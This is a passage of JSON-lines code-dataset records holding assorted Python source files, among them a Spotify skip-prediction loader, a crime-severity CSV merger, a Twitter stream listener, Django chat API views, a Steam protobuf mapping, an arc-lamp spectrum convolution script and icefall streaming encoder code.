train_tf_second,\n DatasetDescription.SKIPS: train_sk}\n dev_data = {DatasetDescription.SF_FIRST_HALF: dev_sf_first,\n DatasetDescription.SF_SECOND_HALF: dev_sf_second,\n DatasetDescription.TF_FIRST_HALF: dev_tf_first,\n DatasetDescription.TF_SECOND_HALF: dev_tf_second,\n DatasetDescription.SKIPS: dev_sk}\n return self.Dataset(train_data, shuffle_batches=True), self.Dataset(dev_data, shuffle_batches=False)\n\n def _split_to_percents(self, data, percents):\n length = np.shape(data)[0]\n fraction = int(length * percents / 100.0)\n return data[:fraction], data[fraction:]\n\n def get_dataset(self, split_to_train_dev=True, split_percents=95):\n session_file_count = len([f for f in os.listdir(self.log_folder) if f.endswith('.csv')])\n processed = 0\n for filename in os.listdir(self.log_folder):\n if filename.endswith('.csv'):\n percents = processed * 100.0 / session_file_count\n if percents > 105:\n break\n if percents <= -1:\n processed += 1\n continue\n print(\"[Spotify Dataset]: \" + str(percents) + \" % of logs already processed.\")\n print(\"[Spotify Dataset]: Creating dataset from session log file \" + filename)\n data = self.parser.get_data_from_file(os.path.join(self.log_folder, filename))\n processed += 1\n if split_to_train_dev:\n train, dev = self._split_to_dev_train(data, split_percents)\n yield train, dev\n else:\n yield self.Dataset(data, shuffle_batches=False)\n","repo_name":"AzGhort/skip_prediction","sub_path":"spotify_dataset.py","file_name":"spotify_dataset.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17067814258","text":"#! /usr/bin/python3\n\n# Merge Processed data file with severities\n# Sort processed data first by year/month (month not rn) then lat then long\n# combine matching lat-long per year and average severities at each location\n#\n# 4 command line args \n# e.g. ./mergeSortAverage.py mapping.csv binning.csv street.csv ouput.csv\n#\n# The averaging of severities for lat/long blocks is messy but it works.\n# I'll clean it up and make it easier to understand later\n\nimport sys,csv\nimport operator as op\n\ndef main():\n print(\"Loading input CSV...\")\n # creating huge 2d array from input csv file\n # warning: uses over 3GB of memory at peak (sorting) w/ input of ProcessedCrimes.csv\n # it's super difficult to do this without loading entire file in memory\n fIn_matrix = []\n with open(sys.argv[3], 'r') as fIn:\n fIn_matrix = list(csv.reader(fIn))\n\n # creating dictionary containing IUCR codes and severity.\n # the key is IUCR, value is corresponding severity\n sev_dict = {}\n with open(sys.argv[1], 'r') as fIn_sev_map:\n sev_map_matrix = list(csv.reader(fIn_sev_map))\n for row in sev_map_matrix:\n sev_dict[row[0]] = row[1]\n\n # creating dictionary containing IUCR codes and bin number\n # the key is IUCR, value is corresponding bin number\n bin_dict = {}\n with open(sys.argv[2], 'r') as fIn_sev_bin:\n bin_map_matrix = list(csv.reader(fIn_sev_bin))\n for row in bin_map_matrix:\n bin_dict[row[0]] = row[1]\n\n # storing and removing header column names from matrix so we don't sort them\n col_headers = fIn_matrix[0]\n fIn_matrix = fIn_matrix[1:] # removing column headers from array for sorting\n\n print(\"Merging files & casting year,month,lat,long to float...\")\n for row in fIn_matrix:\n # by default, the merged severity is -1\n # then if there is a matching severity for the IUCR code of the row, we overwrite that severity\n severity = -1\n # row[2] is IUCR code in input file\n if row[2] in sev_dict:\n severity = sev_dict[row[2]]\n if row[2] in bin_dict:\n binNum = bin_dict[row[2]]\n # appending severity to fIn_matrix\n row.append(binNum)\n row.append(severity)\n # casting from strings to numerical vals for sorting and average computation\n row[0] = int(row[0]) # month\n row[1] = int(row[1]) # year\n row[3] = float(row[3]) # lat\n row[4] = float(row[4]) # long\n row[5] = int(row[5]) # arrest\n row[6] = int(row[6]) # bin\n row[7] = float(row[7]) # severity\n\n print(\"Sorting...\")\n # e.g. to sort by 2nd col then 3rd then 1st: op.itemgetter(1,2,0)\n #fIn_matrix.sort(key = op.itemgetter(1,0,3,4)) # sort by year, then month, then lat, then long\n fIn_matrix.sort(key = op.itemgetter(5,6,1,0,3,4)) # sort by arrest/no arrest, bin number, year, month\n\n \"\"\"\n Ok so everything below here is calculating the severity averages for blocks\n of same month, year, lat, and long and writing to output file. It's a bit\n weird but it's the most efficient way of doing it -> it loops through entire\n file only once and uses O(1) space.\n\n CALL ME IF YOU'RE CONFUSED\n\n Vocab:\n block = consecutive rows with the same month,year,lat,long\n\n General Idea:\n We loop through each row in sorted fIn_matrix summing the severities for\n the current block. When we hit a new block, we calculate the avg severity\n from the stored sum and number of rows in the previous block, create an array w/\n this avg severity and corresponding month,year,lat,long from the previous row\n for the block and write this row to the output file.\n\n Determining when we are in a new block when looping through rows in input file:\n The idea is that we have two arrays (prevRowVals and currRowVals):\n - prevRowVals holds the month,year,lat,long for the previous row in the loop\n - currRowVals holds the month,year,lat,long for the current row in the loop\n\n if prevRowVals does not have the same values as currRowVals, then the current\n row starts a new block. The previous row was then the last row in the last block\n\n When prevRowVals == currRowVals:\n We add the current row's severity to blockSeveritySum\n We increment blockSeverityNum by 1\n\n When prevRowVals != currRowVals:\n We calculate the average severity from the sum of severities and number of\n rows in the block that just ended. (i.e. blockSeveritySum/blockSeverityNum)\n We append this to the prevRowVals array so now we have an array of form:\n newRow = [month, year, lat, long, avg severity for corresponding block]\n\n \"\"\"\n\n print(\"Averaging & writing lat/long blocks to disk...\")\n fOut = open(sys.argv[4], 'w')\n col_headers = col_headers[0:2] + col_headers[3:] # removing IUCR col headers\n col_headers.append(\"Bin\")\n col_headers.append(\"AvgSeverity\") # appending column header for average severities\n # writing column headers to ouput file\n # csv.writer.writerow(i) converts array to csv format and writes to file\n csv.writer(fOut).writerow(col_headers)\n\n blockSeveritySum = 0.0 # sum of severities for block\n blockSeverityNum = 0 # number of severities added for each block\n\n # setting prevRowVals to be first row initially\n prevRowVals = [fIn_matrix[0][0], fIn_matrix[0][1], fIn_matrix[0][3], fIn_matrix[0][4], fIn_matrix[0][5], fIn_matrix[0][6]]\n\n for row in fIn_matrix:\n currRowVals = [row[0], row[1], row[3], row[4], row[5], row[6]]\n if row[7] != -1: # if there was a matching severity to ICUR in mapping file, otherwise we ignore it\n if prevRowVals == currRowVals: # we're in same block as previous iteration\n blockSeveritySum += row[7] # adding severity\n blockSeverityNum += 1 # incrementing number of severities added\n else: # we've hit a new block\n # calculating average severity for block just finished\n # newRow = [month, year, lat, long, avg severity for corresponding block]\n newRow = prevRowVals + [int(blockSeveritySum/blockSeverityNum)]\n # writing that row to output file\n csv.writer(fOut).writerow(newRow)\n\n # resetting blockSeveritySum/Num for new block\n blockSeveritySum = float(row[7])\n blockSeverityNum = 1\n # updating prevRowVals to be currRowVals for new block\n prevRowVals = currRowVals\n\n fOut.close()\n\n print(\"Just gotta collect some garbage...\")\n\nif __name__ == \"__main__\":\n main()\n print(\"Woo! Finished!\")\n","repo_name":"ryanrouleau/Data-Mining-Term-Project","sub_path":"scracthFiles/mergeSortAverage.py","file_name":"mergeSortAverage.py","file_ext":"py","file_size_in_byte":6804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36676488461","text":"from twython import TwythonStreamer\n\n# Receive data from the Twitter Stream\nclass Streamer(TwythonStreamer):\n def __init__(self, APP_KEY, APP_SECRET, OAUTH_TOKEN, OAUTH_TOKEN_SECRET, tweets):\n super().__init__(APP_KEY, APP_SECRET, OAUTH_TOKEN, OAUTH_TOKEN_SECRET)\n self.tweets = tweets\n\n def on_success(self, data):\n print(\"============= TWEET RECEIVED =============\")\n print(data)\n print(\"==========================================\")\n\n tweet = {}\n\n # Add the tweet to the list only if it contains all the fields of interest\n print(\"============= INFO =============\")\n if \"user\" in data and data[\"user\"]:\n screenName = data[\"user\"][\"screen_name\"]\n tweet[\"screen_name\"] = screenName\n print(\"screen_name: \" + screenName)\n else:\n return\n\n if \"text\" in data:\n text = data[\"text\"]\n tweet[\"text\"] = text\n print(\"text: \" + text)\n else:\n return\n\n # Check if exact coordinates\n if \"coordinates\" in data and data[\"coordinates\"]:\n coordinates = data[\"coordinates\"][\"coordinates\"]\n tweet[\"coordinates\"] = coordinates\n print(\"coordinates:\")\n print(coordinates)\n # Else check if place and put as coordinate the center of Rome since the polygon bounding box is larger than the city\n elif \"place\" in data:\n tweet[\"coordinates\"] = [12.496418, 41.902621]\n print(\"place:\")\n print(data[\"place\"])\n else:\n return\n print(\"================================\")\n\n self.tweets.append(tweet)\n\n\n def on_error(self, status_code, data):\n print(status_code)\n print(data)\n","repo_name":"666TheNumberOfTheBeast/DataMining20-21","sub_path":"Homework1/RomeStreamTweets/Streamer.py","file_name":"Streamer.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74590998826","text":"data=open('data/rosalind_ini2.txt','r',)\nnumbers=data.read()\nsplited=numbers.split()\nprint(splited)\n\na = int(splited[0])\nb = int(splited[1])\n\nprint(a)\nprint(b)\n\n#Pythagorean theorem -> C²=A²+B²\nc=b*b+a*a\n\nprint('The integer corresponding to the square of the hypotenuse is:',c)","repo_name":"felipevzps/rosalind.info","sub_path":"Python Village/#2 Variables and Some Arithmetic.py","file_name":"#2 Variables and Some Arithmetic.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21125189583","text":"from typing import Any, Type\n\nfrom chat.openapi import (\n chat_users_list_query_params,\n chats_list_query_params,\n)\nfrom chat.serializers import (\n CreateGroupChatSerializer,\n CreateMessageSerializer,\n DeleteChatSerializer,\n DeleteMessagesSerializer,\n EditChatMessageSerializer,\n EditChatSerializer,\n OffOrOnChatPushNotificationsSerializer,\n ReadOrUnreadMessagesSerializer,\n RemoveUserFromChatSerializer,\n SetOrUnsetChatAdminSerializer,\n)\nfrom chat.tasks import (\n create_chat_producer,\n create_message_producer,\n delete_chat_producer,\n delete_messages_producer,\n edit_chat_producer,\n edit_message_producer,\n get_chat_detail_data_producer,\n get_chat_messages_list_producer,\n get_chat_users_list_producer,\n get_chats_count_producer,\n get_chats_list_producer,\n off_or_on_push_notifications_producer,\n read_or_unread_messages_producer,\n remove_user_from_chat_producer,\n set_or_unset_chat_admin_producer,\n)\nfrom django.utils.decorators import (\n method_decorator,\n)\nfrom drf_yasg.utils import swagger_auto_schema\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom rest_framework.serializers import Serializer\nfrom rest_framework.status import (\n HTTP_200_OK,\n HTTP_201_CREATED,\n)\nfrom utils import generate_unique_request_id\n\n\nclass CreateGroupChat(GenericAPIView):\n\n \"\"\"\n Create group chat\n\n This endpoint allows the\n user to create a group chat.\n \"\"\"\n\n serializer_class: Type[Serializer] = CreateGroupChatSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n create_chat_producer(\n data=serializer.validated_data,\n author_id=request.user.id,\n type=\"Group\",\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass CreateMessage(GenericAPIView):\n\n \"\"\"\n Create message\n\n This endpoint allows the user to create a\n message in the chat if he is a member of it.\n \"\"\"\n\n serializer_class: Type[Serializer] = CreateMessageSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n create_message_producer(\n data=serializer.validated_data,\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass RemoveUserFromChat(GenericAPIView):\n\n \"\"\"\n Remove user from chat\n\n This endpoint allows the user to remove other\n users from the chat if he is the author or admin.\n \"\"\"\n\n serializer_class: Type[Serializer] = RemoveUserFromChatSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n remove_user_from_chat_producer(\n user_id=serializer.validated_data[\"user_id\"],\n chat_id=serializer.validated_data[\"chat_id\"],\n request_id=unique_request_id,\n request_user_id=request.user.id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass DeleteChat(GenericAPIView):\n \"\"\"\n Delete chat\n\n This endpoint allows the user to delete\n the chat if he is its author or admin.\n \"\"\"\n\n serializer_class: Type[Serializer] = DeleteChatSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n delete_chat_producer(\n chat_id=serializer.validated_data[\"chat_id\"],\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass EditChat(GenericAPIView):\n \"\"\"\n Edit chat\n\n This endpoint allows the user\n to edit the chat data.\n \"\"\"\n\n serializer_class: Type[Serializer] = EditChatSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n edit_chat_producer(\n chat_id=serializer.validated_data[\"chat_id\"],\n request_user_id=request.user.id,\n request_id=unique_request_id,\n new_data=serializer.validated_data[\"new_data\"],\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\n@method_decorator(\n swagger_auto_schema(manual_parameters=chats_list_query_params),\n name=\"get\",\n)\nclass GetChatsList(GenericAPIView):\n \"\"\"\n Get my chats list\n\n This endpoint allows the user to get a\n list of chats in which he is a member.\n \"\"\"\n\n def get(self, request: Request) -> Response:\n unique_request_id: str = generate_unique_request_id()\n\n query: dict[str, Any] = request.query_params\n\n get_chats_list_producer(\n request_user_id=request.user.id,\n request_id=unique_request_id,\n offset=query.get(\"offset\"),\n page=query.get(\"page\"),\n search=query.get(\"search\"),\n chats_type=query.get(\"chats_type\"),\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\n@method_decorator(\n swagger_auto_schema(manual_parameters=chats_list_query_params),\n name=\"get\",\n)\nclass GetChatMessagesList(GenericAPIView):\n \"\"\"\n Get messages list of certain chat\n\n This endpoint allows the user to get a\n list of messages in the chat they are members of.\n \"\"\"\n\n def get(self, request: Request, chat_id: int) -> Response:\n unique_request_id: str = generate_unique_request_id()\n\n query: dict[str, Any] = request.query_params\n\n get_chat_messages_list_producer(\n request_user_id=request.user.id,\n chat_id=chat_id,\n request_id=unique_request_id,\n offset=query.get(\"offset\"),\n page=query.get(\"page\"),\n search=query.get(\"search\"),\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\n@method_decorator(\n swagger_auto_schema(manual_parameters=chat_users_list_query_params),\n name=\"get\",\n)\nclass GetChatUsersList(GenericAPIView):\n \"\"\"\n Get users list of certain chat\n\n This endpoint allows the user to get a\n list of users in the chat they are members of.\n \"\"\"\n\n def get(self, request: Request, chat_id: int) -> Response:\n unique_request_id: str = generate_unique_request_id()\n\n query: dict[str, Any] = request.query_params\n\n get_chat_users_list_producer(\n request_user_id=request.user.id,\n chat_id=chat_id,\n request_id=unique_request_id,\n offset=query.get(\"offset\"),\n page=query.get(\"page\"),\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass EditChatMessage(GenericAPIView):\n \"\"\"\n Edit chat message\n\n This endpoint allows the user to edit a\n previously sent chat message.\n \"\"\"\n\n serializer_class: Type[Serializer] = EditChatMessageSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n edit_message_producer(\n message_id=serializer.validated_data[\"message_id\"],\n request_user_id=request.user.id,\n request_id=unique_request_id,\n new_data=serializer.validated_data[\"new_data\"],\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass ReadOrUnreadMessages(GenericAPIView):\n \"\"\"\n Read or Unread messages\n\n This endpoint allows the user to mark\n messages as read or, conversely, as unread.\n \"\"\"\n\n serializer_class: Type[Serializer] = ReadOrUnreadMessagesSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n read_or_unread_messages_producer(\n message_ids=serializer.validated_data[\"message_ids\"],\n request_user_id=request.user.id,\n request_id=unique_request_id,\n action=serializer.validated_data[\"action\"],\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass DeleteChatMessages(GenericAPIView):\n \"\"\"\n Delete chat messages\n\n This endpoint allows the user to delete\n messages in a chat that he previously sent.\n \"\"\"\n\n serializer_class: Type[Serializer] = DeleteMessagesSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n delete_messages_producer(\n message_ids=serializer.validated_data[\"message_ids\"],\n chat_id=serializer.validated_data[\"chat_id\"],\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass SetOrUnsetChatAdmin(GenericAPIView):\n \"\"\"\n Set chat admin\n\n This endpoint allows the user to delete\n messages in a chat that he previously sent.\n \"\"\"\n\n serializer_class: Type[Serializer] = SetOrUnsetChatAdminSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n set_or_unset_chat_admin_producer(\n data=serializer.validated_data,\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass OffOrOnChatPushNotifications(GenericAPIView):\n \"\"\"\n Off or on chat push notifications\n\n This endpoint allows the user to delete\n messages in a chat that he previously sent.\n \"\"\"\n\n serializer_class: Type[Serializer] = OffOrOnChatPushNotificationsSerializer\n\n def post(self, request: Request) -> Response:\n serializer = self.serializer_class(data=request.data)\n serializer.is_valid(raise_exception=True)\n unique_request_id: str = generate_unique_request_id()\n\n off_or_on_push_notifications_producer(\n data=serializer.validated_data,\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass GetChatDetailData(GenericAPIView):\n \"\"\"\n Chat detail data\n\n This endpoint allows the user to delete\n messages in a chat that he previously sent.\n \"\"\"\n\n def get(self, request: Request, chat_id: int) -> Response:\n unique_request_id: str = generate_unique_request_id()\n\n get_chat_detail_data_producer(\n chat_id=chat_id,\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n\n\nclass GetMyChatsCount(GenericAPIView):\n \"\"\"\n Get all my chats count\n\n This endpoint allows the user to delete\n messages in a chat that he previously sent.\n \"\"\"\n\n def get(self, request: Request) -> Response:\n unique_request_id: str = generate_unique_request_id()\n\n get_chats_count_producer(\n request_user_id=request.user.id,\n request_id=unique_request_id,\n )\n return Response({\"request_id\": unique_request_id}, HTTP_200_OK)\n","repo_name":"blanderbit/BE_blanball","sub_path":"project/chat/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27907204068","text":"from random import randint\n\ndef misterio(L):\n for i in range(len(L)):\n L[i] =L[i] * 2\n\ndef aleatoria(qtd):\n L = []\n for i in range(qtd):\n L.append(randint(1, 5))\n return L\n\nL = aleatoria(7)\n\nprint('L:', L)\nmisterio(L)\nprint('L:', L)\n\n\n","repo_name":"Fujao/Python","sub_path":"Algorítimos_simples/random_list.py","file_name":"random_list.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32635976589","text":"from steam.protobuf import steam_server, steam_server2, steam_base\nfrom steamd import EMsg\nimport steamd\n\n\nPROTO_MAPPING = {\n EMsg.Multi: steam_base.CMsgMulti,\n EMsg.ClientCMList: steam_server.CMsgClientCMList,\n EMsg.ClientLogOnResponse: steam_server.CMsgClientLogonResponse,\n EMsg.ClientNewLoginKey: steam_server.CMsgClientNewLoginKey,\n EMsg.ClientUpdateMachineAuth: steam_server2.CMsgClientUpdateMachineAuth,\n EMsg.ClientFriendsList: steam_server.CMsgClientFriendsList,\n EMsg.ClientEmailAddrInfo: steam_server2.CMsgClientEmailAddrInfo,\n EMsg.ClientAccountInfo: steam_server.CMsgClientAccountInfo,\n EMsg.ClientLicenseList: steam_server.CMsgClientLicenseList,\n EMsg.ClientGameConnectTokens: steam_server.CMsgClientGameConnectTokens,\n EMsg.ClientFromGC: steam_server2.CMsgGCClient,\n EMsg.ClientPersonaState:steam_server.CMsgClientPersonaState,\n}\nWANTS_HEADER = [EMsg.ClientUpdateMachineAuth]\nEMSGS = dict(map(reversed, steamd.EMsg.constants.items()))\nEEconTradeResponse = dict(map(reversed, steamd.EEconTradeResponse.constants.items()))\n","repo_name":"lunixbochs/vaporbat","sub_path":"vaporbat/steam/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"17923048486","text":"import numpy as np\nfrom scipy import signal\nfrom matplotlib import pyplot as plt\n\n\ndef gaus(x, a, b, x0, sigma):\n \"\"\"\n Simple Gaussian function.\n\n Parameters\n ----------\n x: float or 1-d numpy array\n The data to evaluate the Gaussian over\n a: float\n the amplitude\n b: float\n the constant offset\n x0: float\n the center of the Gaussian\n sigma: float\n the width of the Gaussian\n\n Returns\n -------\n Array or float of same type as input (x).\n \"\"\"\n return a * np.exp(-((x - x0) ** 2) / (2 * sigma**2)) + b\n\n\nnist = np.loadtxt(\"nist_clean.csv\", delimiter=\",\", dtype=\"str\", skiprows=1)\nnist_element = nist[:, 0]\nnist_wavelength = nist[:, 1].astype(\"float\")\nnist_intensity = nist[:, 2].astype(\"float\")\n\nxe_idx = nist_element == \"Xe\"\nxe_w = np.around(nist_wavelength[xe_idx], decimals=2)\nxe_i = nist_intensity[xe_idx]\n\n# Generate the equally spaced-wavelength array, and the corresponding intensity\nwavelength = np.around(\n np.arange(min(xe_w) - 500.0, max(xe_w) + 500.01, 0.01), decimals=2\n)\nintensity = np.zeros_like(wavelength)\nintensity[np.where(np.isin(wavelength, xe_w))] = xe_i\n\n# Convolve with gaussian, expected from the resolution\nmin_wavelength = 3500\nmax_wavelength = 8500\nnum_pix = 1024\n\n# A per pixel\nR = (max_wavelength - min_wavelength) / num_pix\n# Nyquist sampling rate (2.3) for CCD at seeing of 1 arcsec\nsigma = R * 2.3 * 1.0\nx = np.arange(-100, 100.01, 0.01)\ngaussian = gaus(x, a=1.0, b=0.0, x0=0.0, sigma=sigma)\n\n# Convolve to simulate the arc spectrum\nmodel_spectrum = signal.convolve(intensity, gaussian, \"same\")\n\nplt.figure(1, figsize=(8, 8))\nplt.clf()\nplt.plot(wavelength, intensity, color=\"grey\", label=\"NIST values\")\nplt.plot(wavelength, model_spectrum, label=\"Convolved Arc\")\nplt.xlabel(\"Vacuum Wavelength / A\")\nplt.ylabel(\"NIST intensity\")\nplt.grid()\nplt.xlim(3800, 8200)\nplt.ylim(0, 1000)\nplt.legend()\nplt.tight_layout()\n","repo_name":"jveitchmichaelis/rascal","sub_path":"src/rascal/arc_lines/convolve_lines.py","file_name":"convolve_lines.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"73950899306","text":"import argparse\nimport logging\nimport os\nfrom typing import Optional, Tuple\n\nimport sentencepiece as spm\nimport torch\nfrom torch import nn\n\nimport torch.nn.functional as F\nfrom scaling import ScaledConv1d, ScaledEmbedding, ScaledLinear\n\nfrom conformer import Conformer\nfrom model import Transducer\n\nfrom icefall.dist import cleanup_dist, setup_dist\nfrom icefall.env import get_env_info\nfrom icefall.utils import (\n AttributeDict,\n MetricsTracker,\n display_and_save_batch,\n setup_logger,\n str2bool,\n)\nfrom icefall.utils import is_jit_tracing, make_pad_mask\n\nclass StreamingEncoder(torch.nn.Module):\n \"\"\"\n Args:\n left_context:\n How many previous frames the attention can see in current chunk.\n Note: It's not that each individual frame has `left_context` frames\n of left context, some have more.\n right_context:\n How many future frames the attention can see in current chunk.\n Note: It's not that each individual frame has `right_context` frames\n of right context, some have more.\n chunk_size:\n The chunk size for decoding, this will be used to simulate streaming\n decoding using masking.\n warmup:\n A floating point value that gradually increases from 0 throughout\n training; when it is >= 1.0 we are \"fully warmed up\". It is used\n to turn modules on sequentially.\n \"\"\"\n\n def __init__(self, model, left_context, right_context, chunk_size, warmup):\n super().__init__()\n self.encoder = model.encoder\n self.encoder_embed = model.encoder_embed\n self.encoder_layers = model.encoder_layers\n self.d_model = model.d_model\n self.cnn_module_kernel = model.cnn_module_kernel\n self.encoder_pos = model.encoder_pos\n self.left_context = left_context\n self.right_context = right_context\n self.chunk_size = chunk_size\n self.warmup = warmup\n\n def forward(\n self,\n x: torch.Tensor,\n x_lens: torch.Tensor,\n attn_cache: torch.tensor,\n cnn_cache: torch.tensor,\n processed_lens: Optional[torch.Tensor] = None,\n ) -> Tuple[\n torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor\n ]:\n \"\"\"\n Args:\n x:\n The input tensor. Its shape is (batch_size, seq_len, feature_dim).\n x_lens:\n A tensor of shape (batch_size,) containing the number of frames in\n `x` before padding.\n states:\n The decode states for previous frames which contains the cached data.\n It has two elements, the first element is the attn_cache which has\n a shape of (encoder_layers, left_context, batch, attention_dim),\n the second element is the conv_cache which has a shape of\n (encoder_layers, cnn_module_kernel-1, batch, conv_dim).\n Note: states will be modified in this function.\n processed_lens:\n How many frames (after subsampling) have been processed for each sequence.\n\n Returns:\n Return a tuple containing 2 tensors:\n - logits, its shape is (batch_size, output_seq_len, output_dim)\n - logit_lens, a tensor of shape (batch_size,) containing the number\n of frames in `logits` before padding.\n - decode_states, the updated states including the information\n of current chunk.\n \"\"\"\n\n # x: [N, T, C]\n # Caution: We assume the subsampling factor is 4!\n\n # lengths = ((x_lens - 1) // 2 - 1) // 2 # issue an warning\n #\n # Note: rounding_mode in torch.div() is available only in torch >= 1.8.0\n lengths = (((x_lens - 1) >> 1) - 1) >> 1\n attn_cache = attn_cache.transpose(0, 2)\n cnn_cache = cnn_cache.transpose(0, 2)\n states = [attn_cache, cnn_cache]\n assert states is not None\n assert processed_lens is not None\n assert (\n len(states) == 2\n and states[0].shape\n == (self.encoder_layers, self.left_context, x.size(0), self.d_model)\n and states[1].shape\n == (\n self.encoder_layers,\n self.cnn_module_kernel - 1,\n x.size(0),\n self.d_model,\n )\n ), f\"\"\"The length of states MUST be equal to 2, and the shape of\n first element should be {(self.encoder_layers, self.left_context, x.size(0), self.d_model)},\n given {states[0].shape}. the shape of second element should be\n {(self.encoder_layers, self.cnn_module_kernel - 1, x.size(0), self.d_model)},\n given {states[1].shape}.\"\"\"\n\n lengths -= (\n 2 # we will cut off 1 frame on each side of encoder_embed output\n )\n\n embed = self.encoder_embed(x)\n\n # cut off 1 frame on each size of embed as they see the padding\n # value which causes a training and decoding mismatch.\n embed = embed[:, 1:-1, :]\n\n embed, pos_enc = self.encoder_pos(embed, self.left_context)\n embed = embed.permute(1, 0, 2) # (B, T, F) -> (T, B, F)\n\n src_key_padding_mask = make_pad_mask(lengths, embed.size(0))\n\n processed_mask = torch.arange(\n self.left_context, device=x.device\n ).expand(x.size(0), self.left_context)\n \n processed_mask = (processed_lens <= processed_mask).flip(1)\n\n src_key_padding_mask = torch.cat(\n [processed_mask, src_key_padding_mask], dim=1\n )\n\n x, states = self.encoder.chunk_forward(\n embed,\n pos_enc,\n src_key_padding_mask=src_key_padding_mask,\n warmup=self.warmup,\n states=states,\n left_context=self.left_context,\n right_context=self.right_context,\n ) # (T, B, F)\n if self.right_context > 0:\n x = x[: -self.right_context, ...]\n lengths -= self.right_context\n\n x = x.permute(1, 0, 2) # (T, N, C) ->(N, T, C)\n processed_lens = processed_lens + lengths.unsqueeze(-1)\n assert processed_lens.shape[1] == 1, processed_lens.shape\n\n return (\n x,\n lengths,\n states[0].transpose(0, 2),\n states[1].transpose(0, 2),\n processed_lens,\n )\n\nclass OfflineEncoder(torch.nn.Module):\n \"\"\"\n Args:\n model: Conformer Encoder\n \"\"\"\n\n def __init__(\n self,\n model\n ) -> None:\n super().__init__()\n\n self.num_features = model.num_features\n self.subsampling_factor = model.subsampling_factor\n if self.subsampling_factor != 4:\n raise NotImplementedError(\"Support only 'subsampling_factor=4'.\")\n\n # self.encoder_embed converts the input of shape (N, T, num_features)\n # to the shape (N, T//subsampling_factor, d_model).\n # That is, it does two things simultaneously:\n # (1) subsampling: T -> T//subsampling_factor\n # (2) embedding: num_features -> d_model\n self.encoder_embed = model.encoder_embed\n\n self.encoder_layers = model.encoder_layers\n self.d_model = model.d_model\n self.cnn_module_kernel = model.cnn_module_kernel\n self.causal = model.causal\n self.dynamic_chunk_training = model.dynamic_chunk_training\n self.short_chunk_threshold = model.short_chunk_threshold\n self.short_chunk_size = model.short_chunk_size\n self.num_left_chunks = model.num_left_chunks\n\n self.encoder_pos = model.encoder_pos\n self.encoder = model.encoder\n \n\n def forward(\n self, x: torch.Tensor, x_lens: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Args:\n x:\n The input tensor. Its shape is (batch_size, seq_len, feature_dim).\n x_lens:\n A tensor of shape (batch_size,) containing the number of frames in\n `x` 